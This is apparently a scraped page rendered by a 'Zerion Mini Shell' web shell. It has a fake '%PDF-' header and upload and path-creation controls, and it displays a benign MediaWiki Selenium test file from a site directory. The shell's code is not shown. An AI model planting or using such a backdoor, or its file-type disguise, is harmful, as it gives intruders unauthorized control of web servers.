%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/tests/selenium/pageobjects/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/tests/selenium/pageobjects/watchable.page.js

const Page = require( 'wdio-mediawiki/Page' );

class WatchablePage extends Page {

	get confirmWatch() { return browser.element( '#mw-content-text button[type="submit"]' ); }

	watch( title ) {
		super.openTitle( title, { action: 'watch' } );
		this.confirmWatch.click();
	}
}

module.exports = new WatchablePage();

Zerion Mini Shell 1.0